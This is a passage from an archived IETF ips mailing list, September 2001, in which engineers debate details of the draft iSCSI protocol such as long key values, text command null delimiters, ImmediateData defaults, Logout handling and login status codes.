; Tue, 18 Sep 2001 12:14:22 -0700 Message-ID: From: Robert Snively To: "'Wheat, Stephen R'" , "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iSCSI - long key values Date: Tue, 18 Sep 2001 12:14:21 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk I agree with Stephen. > -----Original Message----- > From: Wheat, Stephen R [mailto:stephen.r.wheat@intel.com] > Sent: Tuesday, September 18, 2001 7:58 AM > To: 'Julian Satran'; ips@ece.cmu.edu > Subject: RE: iSCSI - long key values > > > Julian, > > Almost a month ago, we had a thread on values spanning PDU boundaries. > > See: "Re: Target record not to span PDUs?" > > Anyway, that thread discussion ended without conclusion. I > believe Robert > Snively's and my proposal to allow records to span PDUs is > still valid; I'll > let Robert speak for himself. > > Furthermore, I believe that the proposal would thus avoid > this problem you > are now addressing, with far less complexity. > > Please reconsider this proposal. > > Stephen > > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Monday, September 17, 2001 11:26 PM > To: ips@ece.cmu.edu > Subject: iSCSI - long key values > > > Dear colleagues, > > Ofer brought recently to my attention that some security key > values are > likely to exceed our stated limit > of 255 bytes for a value. A good example may be a > certificate (or chained > certificate). > > We have to enable those to be in the Login phase. > > To handle this we might want to consider the following > options (but not > only those): > > enable a "long hexadecimal coding" that should indicate a > "long" value > (e.g. use 0L instead of 0x) and raise the limit for those keys to > something longer (say 3072 bytes?) > enable "concatenated" values and indicate them through a > "coding scheme" > as follows: > the value "0sxx" indicates a name suffix (as in "key = > 0s08" means > that the keys "key00" , "key01" etc) have to be concatenated > use the "suffixed keys" to "build the value" > use a named key coding (as in "0Nname" in a value means > that you have to > use later get=value to get a "binary response" containing the whole > binary object) > > > I think that option 2 (limited to a 3 digit prefix?) covers > well what we > need and offers some extension space and option 1 is probably > good enough > for certificates. > > Comments? > > Julo > > From owner-ips@ece.cmu.edu Tue Sep 18 18:41:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA04271 for ; Tue, 18 Sep 2001 18:41:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IKa2j26798 for ips-outgoing; Tue, 18 Sep 2001 16:36:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IKZuP26780 for ; Tue, 18 Sep 2001 16:35:56 -0400 (EDT) Received: from msgrel1.cos.agilent.com (msgrel1.cos.agilent.com [130.29.152.77]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 66A26356C for ; Tue, 18 Sep 2001 14:35:50 -0600 (MDT) Received: from acropora.rose.agilent.com (acropora.rose.agilent.com [130.30.179.5]) by msgrel1.cos.agilent.com (Postfix) with ESMTP id 922E822D for ; Tue, 18 Sep 2001 14:35:49 -0600 (MDT) Received: (from dbs@localhost) by acropora.rose.agilent.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.1.0) id NAA16763 for ips@ece.cmu.edu; Tue, 18 Sep 2001 13:34:51 -0700 (PDT) From: Dave Sheehy Message-Id: <200109182034.NAA16763@acropora.rose.agilent.com> Subject: Re: ISCSI: question about text command data To: ips@ece.cmu.edu (IETF IP SAN Reflector) Date: Tue, 18 Sep 2001 13:34:50 PDT X-Mailer: Elm [revision: 212.4] Sender: owner-ips@ece.cmu.edu Precedence: bulk > Wouldn't it be simpler to just say "exactly one". The last > part of Buck's question mentioned that he didn't see why > anyone would want more than one, and nobody responded saying > they did. Agreed. Dave Sheehy From owner-ips@ece.cmu.edu Tue Sep 18 18:44:15 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA04343 for ; Tue, 18 Sep 2001 18:44:15 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IKfQr27152 for ips-outgoing; Tue, 18 Sep 2001 16:41:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IKfOP27145 for ; Tue, 18 Sep 2001 16:41:24 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id WAA22672; Tue, 18 Sep 2001 22:41:10 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8IKf5m123158; Tue, 18 Sep 2001 22:41:06 +0200 Importance: Normal Subject: Re:iSCSI: ImmediateData Text Parameter Negotiation To: cbm@rose.hp.com Cc: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" , ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 18 Sep 2001 23:40:13 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 18/09/2001 23:41:10 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I would rather change the InitialR2T to no bu there a dealock avoidance rule is in force. Julo "Mallikarjun C." @ece.cmu.edu on 18-09-2001 22:30:12 Please respond to cbm@rose.hp.com Sent by: owner-ips@ece.cmu.edu To: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" cc: ips@ece.cmu.edu Subject: Re:iSCSI: ImmediateData Text Parameter Negotiation Matthew, I completely agree that the default should be "no"! I pointed this out sometime ago myself. Apart from what you point out, the default setting for "ImmediateData" seems to be at variance with the conservative default for "InitialR2T" ("yes"). Julian, could you please consider this request? Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > Julian, > > Appendix D24 (ImmediateData) does not describe the result of negotiation if > the two sides differ. I presume that since the default is "yes", then only > if both sides agree to "no" is immediate data turned off. Please can this > be stated. > > Additionally, I feel that the default value for ImmediateData should be > "no". > > Similarly, there is no statement on MaxOutstandingR2T. Presumable the > minimum is selected. > > Matthew Burbridge > Senior Development Engineer > NIS-Bristol > Hewlett Packard > Telnet: 312 7010 > E-mail: matthewb@bri.hp.com > From owner-ips@ece.cmu.edu Tue Sep 18 19:22:14 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA04909 for ; Tue, 18 Sep 2001 19:22:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ILQ6h00173 for ips-outgoing; Tue, 18 Sep 2001 17:26:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from va2mc.ummailbox.net (va2mc.ummailbox.net [64.210.247.16]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8ILQ3P00153 for ; Tue, 18 Sep 2001 17:26:03 -0400 (EDT) Received: from hqmailweb.COMMSTOR.Crossroads.com (HQMailWeb.Crossroads.com [63.237.99.250:25]) by va2mc.ummailbox.net with ESMTP id T0918-1725-40b806; Tue, 18 Sep 2001 21:25:20 GMT Received: from HQMAILNODE1.COMMSTOR.Crossroads.com ([10.5.1.42]) by hqmailweb.COMMSTOR.Crossroads.com with Microsoft SMTPSVC(5.0.2195.2966); Tue, 18 Sep 2001 16:25:09 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: ISCSI: question about text command data Date: Tue, 18 Sep 2001 16:21:31 -0500 Message-ID: Thread-Topic: ISCSI: question about text command data Thread-Index: AcFAWJQwz5GQopkMQHeTzwdI/sr+1QAK2VAg From: "Buck Landry" To: "ietf-ips" X-OriginalArrivalTime: 18 Sep 2001 21:25:09.0704 (UTC) FILETIME=[64FBD480:01C14088] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8ILQ3P00155 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit The below might imply that I actually take a position on what should appear in the data segment after a key-value pair. I don't care much *what* goes in there, both approaches have good reasoning; I would just like to see it specified as 'exactly one', or 'one or more', so there's no confusion. If we decide on 'exactly one' .. (are leading NULLs allowed?) .. that would seem to preclude using "double nulls" as Lee speaks of. (unless julian somehow takes that into account in his wording) regards, Buck -----Original Message----- From: CONGDON,PAUL (HP-Roseville,ex1) [mailto:paul_congdon@hp.com] Sent: Tuesday, September 18, 2001 10:11 AM To: 'Steve Senum'; ietf-ips Subject: RE: ISCSI: question about text command data I disagree. There is no reason why the spec shouldn't be very specific about what behavior to take. In the interest of simplicity, the spec should state 'exactly one null character' as Mark and Buck request. If people follow the spec, there won't be a need to invoke costly error response. Paul -----Original Message----- From: Steve Senum [mailto:ssenum@cisco.com] Sent: Monday, September 17, 2001 8:27 AM To: ietf-ips Subject: Re: ISCSI: question about text command data Mark, I agree with Julian on this issue. Steve Senum Mark Bakke wrote: > > Julian- > > Wouldn't it be simpler to just say "exactly one". The last > part of Buck's question mentioned that he didn't see why > anyone would want more than one, and nobody responded saying > they did. > > Thanks, > > Mark > > Julian Satran wrote: > > > > I've changed it the text to "at least one" to avoid errors hard to list. > > > > Julo > > > > "Buck Landry" @ece.cmu.edu on 13-09-2001 01:25:36 > > > > Please respond to "Buck Landry" > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: > > cc: > > Subject: ISCSI: question about text command data > > > > I have a small question about what separates the "key=value" pairs in > > the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 > > draft (2.10.5), it states: > > > > >>> > > Every key=value pair (including the last or only pair) MUST be followed > > by null (0x00) delimiter. > > <<< > > > > The question: is it legal to have *more* than one null char between > > key=value pairs? (no, I don't know why anybody would particularly want > > to do this.) > > > > Thanks, > > buck > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 From owner-ips@ece.cmu.edu Tue Sep 18 20:09:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA05341 for ; Tue, 18 Sep 2001 20:09:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IMAeM02940 for ips-outgoing; Tue, 18 Sep 2001 18:10:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IMAdP02936 for ; Tue, 18 Sep 2001 18:10:39 -0400 (EDT) Received: from karen (dialup-209.246.68.194.Dial1.NewYork1.Level3.net [209.246.68.194]) by mclean.mail.mindspring.net (8.9.3/8.8.5) with SMTP id SAA18893 for ; Tue, 18 Sep 2001 18:10:26 -0400 (EDT) Message-ID: <00a901c1408e$ab88fda0$e2a1fea9@karen> Reply-To: "Clarke" From: "Clarke" To: Subject: iSCSI > Documentation ? Date: Tue, 18 Sep 2001 18:09:29 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I'm looking for some introductory/reference documentation for iSCSI. Can someone point me in the right direction. Thanks, Clarke From owner-ips@ece.cmu.edu Wed Sep 19 00:38:37 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA10195 for ; Wed, 19 Sep 2001 00:38:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8J1OSG12933 for ips-outgoing; Tue, 18 Sep 2001 21:24:28 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e32.bld.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8J1OQP12927 for ; Tue, 18 Sep 2001 21:24:26 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e32.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id VAA24518; Tue, 18 Sep 2001 21:22:02 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8J1N3M105532; Tue, 18 Sep 2001 19:23:03 -0600 X-Priority: 1 (High) Importance: Normal Subject: iSCSI: U= in Authentication To: "Julian Satran" , Ofer_Biran/Haifa/IBM%IBMUS , mbakke@cisco.com, jtseng@NishanSystems.com Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Tue, 18 Sep 2001 18:22:16 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/18/2001 07:23:03 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Folks, I think we should indicate in the Security section of the document how the security Authentication process might validate that the iSCSI Initiator Name sent in the Initial Login, has something approprate to do with the "user" being authenticated. (Otherwise, you could authenticate a user and that user could claim/use any iSCSI Initiator Name in the InitiatorName key=value pair. It is kind of obvious how to relate the U= to the approprate iSCSI Initiator Name (in the case of SRP), and little less obvious with Chap, though I think it would be the N= parameter. However, it is really not obvious when using Kerberos, and SPKM. It also should be possible for the initiator not to send another UserID, if the Security Data Base the customer uses can support the iSCSI Initiator Name as a UserID. That is, it should be possible for the U= parameter not to be sent,and have that imply the value of is the iSCSI Initiator Node Name entered previously as a value in the InitiaorName key=value pair. Same way with the N= in Chap. However, it is not clear, how you do similar things with Kerberos, and SPKM. What do you folks think about this, and how should we document it? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Wed Sep 19 00:40:12 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA10233 for ; Wed, 19 Sep 2001 00:40:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8J34qw19307 for ips-outgoing; Tue, 18 Sep 2001 23:04:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8J34aP19286 for ; Tue, 18 Sep 2001 23:04:37 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id FAA15214 for ; Wed, 19 Sep 2001 05:04:28 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8J34Sm273982 for ; Wed, 19 Sep 2001 05:04:28 +0200 Importance: Normal Subject: Re: iscsi rev 7.93 : reject pdu. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 19 Sep 2001 06:03:36 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 19/09/2001 06:04:28 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, It was felt that format errors should be treated harshly (the reject code is being removed too) and there is no need for an operational target to help debugging an initiator. Thsi simplifies somewhat recovery. Julo Santosh Rao @ece.cmu.edu on 17-09-2001 22:32:57 Please respond to Santosh Rao Sent by: owner-ips@ece.cmu.edu To: IPS Reflector cc: Subject: iscsi rev 7.93 : reject pdu. Julian, Could you please clarify why the "first bad byte" field in the reject pdu has been removed ? I can find nothing in the change log that states this change, nor can I remember any discussion on ips asking for this change. Regards, Santosh - santoshr.vcf From owner-ips@ece.cmu.edu Wed Sep 19 01:13:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA11135 for ; Wed, 19 Sep 2001 01:12:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8J395319567 for ips-outgoing; Tue, 18 Sep 2001 23:09:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8J38iP19538 for ; Tue, 18 Sep 2001 23:08:44 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id FAA53322 for ; Wed, 19 Sep 2001 05:08:33 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8J38Xm49772 for ; Wed, 19 Sep 2001 05:08:33 +0200 Importance: Normal Subject: RE: iscsi Rev 7.93 : text cmd & bookmarks. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 19 Sep 2001 06:07:41 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 19/09/2001 06:08:33 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Targets will have an indexing mechanism based on TTT and the bookmark will reuse it. The 1 outstanding text command is a resource statement. Julo "Ayman Ghanem" @ece.cmu.edu on 17-09-2001 22:55:38 Please respond to "Ayman Ghanem" Sent by: owner-ips@ece.cmu.edu To: cc: Subject: RE: iscsi Rev 7.93 : text cmd & bookmarks. I could be missing something, but I am not sure why do we have TTT in text cmd/rsp if there MUST be only one outstanding text cmd per connection. Text command lookup implies to me more than one outstanding cmd, but that would be a protocol error. -Ayman > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Santosh Rao > Sent: Monday, September 17, 2001 1:26 PM > To: IPS Reflector > Subject: iscsi Rev 7.93 : text cmd & bookmarks. > > > Hi Julian, > > Thanks for adding the target transfer tag field to the text command > & text response. This allows for simpler indexing for targets without > having to special case the text message lookups. > > Also, as you've observed and incorporated, the target transfer tag field > itself serves as a bookmark and so, the bookmark field has been removed. > > One question remains however. Since the target transfer tag field serves > as a bookmark and a TTT of 0xFFFFFFFF serves as an indication that this > is a new text command (i.e. no bookmark present), of what value add is > the bookmark bit ? Why not remove the bookmark bit itself and only use > the TTT ? > > Keeping both the bookmark bit and the TTT is providing 2 ways of > indicating a new text cmd. I would be in favor of removal of the > bookmark bit. > > Regards, > Santosh > From owner-ips@ece.cmu.edu Wed Sep 19 01:17:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA11431 for ; Wed, 19 Sep 2001 01:17:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8J3eus21267 for ips-outgoing; Tue, 18 Sep 2001 23:40:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8J3erP21259 for ; Tue, 18 Sep 2001 23:40:54 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id FAA42916 for ; Wed, 19 Sep 2001 05:40:46 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8J3ekm108338 for ; Wed, 19 Sep 2001 05:40:46 +0200 Importance: Normal Subject: Re: iSCSI - Immediate Logout Command PDUs To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 19 Sep 2001 06:39:53 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 19/09/2001 06:40:45 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Matthew, Logout might be used for several reasons and recovery is one of them (but also for maintenance). It can also be used to logout a connection different than the one it is issued on. Unlike Login in which the the compelling reason for immediate was avoiding deadlocks I do not see the same compelling reason to mandate immediate always for logout. Julo "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" @ece.cmu.edu on 17-09-2001 11:54:34 Please respond to "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" Sent by: owner-ips@ece.cmu.edu To: "'ips@ece.cmu.edu'" cc: Subject: Immediate Logout Command PDUs My colleagues and I have been discussing the use of the immediate bit in the Logout Command PDU. We came to the conclusion that the immediate bit must be set in the Logout Command PDU for the following reasons:- a) Ordering of the logout PDU provides no benefits. Ordering allows commands received prior to be executed (non-SCSI CDBs) or delivered to the SCSI layer (SCSI CDBs). Even if queued the logout will probably occur before those CDBs delivered to the SCSI layer have completed (especially, it the CDB takes along time to execute such as a long erase!). Also, any application worth it's salt will wait for all responses to any commands to be received before cleanly terminating an iSCSI session. b) For recovery, the logout needs to be performed immediately. c) It keeps the login and logout procedures in sync with each other. Therefore please can you add to section 2.15 a sub section that reads:- 2.14.x I - Immediate Logout MUST be issued as an immediate request (I=1) Matthew Burbridge Senior Development Engineer NIS-Bristol Hewlett Packard Telnet: 312 7010 E-mail: matthewb@bri.hp.com From owner-ips@ece.cmu.edu Wed Sep 19 01:18:26 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA11469 for ; Wed, 19 Sep 2001 01:18:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8J2uXr18820 for ips-outgoing; Tue, 18 Sep 2001 22:56:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8J2uSP18812 for ; Tue, 18 Sep 2001 22:56:29 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id EAA206502 for ; Wed, 19 Sep 2001 04:56:10 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8J2uBm274792 for ; Wed, 19 Sep 2001 04:56:11 +0200 Importance: Normal Subject: Re: iscsi rev 7.93 : Login response Status codes. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 19 Sep 2001 05:55:18 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 19/09/2001 05:56:11 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, Comments in text - Julo Santosh Rao @ece.cmu.edu on 17-09-2001 22:02:08 Please respond to Santosh Rao Sent by: owner-ips@ece.cmu.edu To: IPS Reflector cc: Subject: iscsi rev 7.93 : Login response Status codes. Hi Julian, A couple of comments on the login status codes (rev 7.93 Section 2.13.5 page 90 ) : 1) Session type | 0209 | Target does not support this type of Not supported | | of session (not from this Initiator) +++ Sessions are mandatory to support but can be rejected from a specific initiator +++ The above status detail can be removed, since there exist only 2 session types, normal & discovery, & both are mandatory. Initiator | 0206 | Invalid SID - no more connections SID error | | accepted +++ I've changed the text to: Too many | 0206 | No more connections accepted on this SID connections | | CID error (e.g., CID exists already) are to be reported under 0200 +++ ----------------------------------------------------------------- Should the above read "Initiator CID error" ? I presume the above is meant to indicate that the target cannot accept any more connections and is rejecting a login that is attempting to add a new connection to the session, as indicated by the presence of a new CID in the login on an existing (ISID, TSID). If this is the case, the code should read : "Initiator CID Error" , since this is an invalid CID. Please clarify the intent of the above status code. Thanks, Santosh - santoshr.vcf From owner-ips@ece.cmu.edu Wed Sep 19 02:33:12 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA23397 for ; Wed, 19 Sep 2001 02:33:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8J4XZh24094 for ips-outgoing; Wed, 19 Sep 2001 00:33:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8J4XWP24090 for ; Wed, 19 Sep 2001 00:33:33 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id GAA19788 for ; Wed, 19 Sep 2001 06:33:14 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8J4XDP79896 for ; Wed, 19 Sep 2001 06:33:13 +0200 Importance: Normal Subject: RE: iSCSI - long key values To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 19 Sep 2001 07:30:50 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 19/09/2001 07:33:13 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Stephen, It is still on the "to consider list". How would that affect the individula value "extension" that we are considering now? Julo "Wheat, Stephen R" on 18-09-2001 17:57:36 Please respond to "Wheat, Stephen R" To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI - long key values Julian, Almost a month ago, we had a thread on values spanning PDU boundaries. See: "Re: Target record not to span PDUs?" Anyway, that thread discussion ended without conclusion. I believe Robert Snively's and my proposal to allow records to span PDUs is still valid; I'll let Robert speak for himself. Furthermore, I believe that the proposal would thus avoid this problem you are now addressing, with far less complexity. Please reconsider this proposal. Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Monday, September 17, 2001 11:26 PM To: ips@ece.cmu.edu Subject: iSCSI - long key values Dear colleagues, Ofer brought recently to my attention that some security key values are likely to exceed our stated limit of 255 bytes for a value. A good example may be a certificate (or chained certificate). We have to enable those to be in the Login phase. To handle this we might want to consider the following options (but not only those): enable a "long hexadecimal coding" that should indicate a "long" value (e.g. use 0L instead of 0x) and raise the limit for those keys to something longer (say 3072 bytes?) enable "concatenated" values and indicate them through a "coding scheme" as follows: the value "0sxx" indicates a name suffix (as in "key = 0s08" means that the keys "key00" , "key01" etc) have to be concatenated use the "suffixed keys" to "build the value" use a named key coding (as in "0Nname" in a value means that you have to use later get=value to get a "binary response" containing the whole binary object) I think that option 2 (limited to a 3 digit prefix?) covers well what we need and offers some extension space and option 1 is probably good enough for certificates. Comments? Julo From owner-ips@ece.cmu.edu Wed Sep 19 03:15:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA25899 for ; Wed, 19 Sep 2001 03:15:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8J5Oo026455 for ips-outgoing; Wed, 19 Sep 2001 01:24:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by 